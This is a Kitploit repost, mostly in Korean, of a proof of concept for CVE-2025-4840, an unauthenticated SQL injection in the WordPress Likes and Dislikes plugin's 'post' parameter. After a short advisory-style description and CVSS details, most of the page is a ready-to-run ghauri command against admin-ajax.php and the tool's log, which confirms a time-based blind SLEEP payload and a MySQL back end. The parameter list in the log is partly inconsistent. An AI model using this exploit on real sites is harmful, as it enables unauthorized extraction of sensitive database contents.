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CVE-2025-4840 — Likes and Dislikes Plugin <= 1.0.0 - 인증되지 않은 SQL Injection | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2025-4840
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubrandomrobbiebf/cve-2025-4840

CVE-2025-4840

Likes and Dislikes Plugin <= 1.0.0 - 인증되지 않은 SQL Injection

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CVE-2025-4840

Likes and Dislikes 플러그인 <= 1.0.0 - 인증되지 않은 SQL 인젝션

설명

WordPress용 Likes and Dislikes 플러그인은 1.0.0 버전을 포함한 모든 버전에서 'post' 파라미터를 통해 SQL 인젝션에 취약합니다. 이는 사용자 제공 파라미터에 대한 이스케이프 처리 부족과 기존 SQL 쿼리 준비 부족으로 인해 발생합니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.

세부 사항

  • 유형: 플러그인
  • 슬러그: inprosysmedia-likes-dislikes-post
  • 영향을 받는 버전: 1.0.0
  • CVSS 점수: 7.5
  • CVSS 등급: 높음
  • CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE: CVE-2025-4840
  • 상태: 종료됨

POC

root@kitploit:~
ghauri -u "http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php"   --data="action=my_likes_dislikes_action&post=*"    --dbms mysql   --level 5  --time-sec 5


  ________.__                        .__  {1.4.1}
 /  _____/|  |__ _____   __ _________|__|
/   \  ___|  |  \\__  \ |  |  \_  __ \  |
\    \_\  \   Y  \/ __ \|  |  /|  | \/  |
 \______  /___|  (____  /____/ |__|  |__|
        \/     \/     \/         https://github.com/r0oth3x49
                                 An advanced SQL injection detection & exploitation tool.



[*] starting @ 11:09:04 /2025-07-10/

custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y

[11:09:06] [INFO] testing connection to the target URL
[11:09:06] [INFO] testing for SQL injection on (custom) POST parameter 'post'
[11:09:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:09:07] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[11:09:08] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[11:09:10] [INFO] testing 'Boolean-based blind - Parameter replace'
[11:09:11] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:09:11] [INFO] testing 'boolean-based blind - WHERE or HAVING clause (CASE STATEMENT)'
[11:09:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[11:09:13] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[11:09:13] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[11:09:14] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[11:09:14] [INFO] testing 'MySQL boolean-based blind - (IF STATEMENT)'
[11:09:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[11:09:39] [INFO] POST parameter 'post' appears to be 'MySQL >= 5.0.12 time-based blind (query SLEEP)' injectable
[11:09:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:09:39] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[11:09:40] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:09:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[11:09:41] [INFO] testing 'MySQL >= 5.1 AND string error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[11:09:42] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:09:43] [INFO] checking if the injection point on POST parameter 'post' is a false positive
POST parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

Ghauri identified the following injection point(s) with a total of 196 HTTP(s) requests:
---
Parameter: dbid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: action=my_likes_dislikes_action&post=*

Parameter: uri (POST)
    Type: error-based
    Title: MySQL >= 5.1 AND string error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
    Payload: action=my_likes_dislikes_action&post=*

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=my_likes_dislikes_action&post=*

Parameter: post (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: action=my_likes_dislikes_action&post=(SELECT(0)FROM(SELECT(SLEEP(8)))a)
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: dbid  (default)
[1] place: POST, parameter: uri
[2] place: POST, parameter: post
[q] Quit
> 0

[11:10:56] [INFO] testing MySQL
[11:10:56] [INFO] confirming MySQL
[11:10:56] [INFO] the back-end DBMS is MySQL
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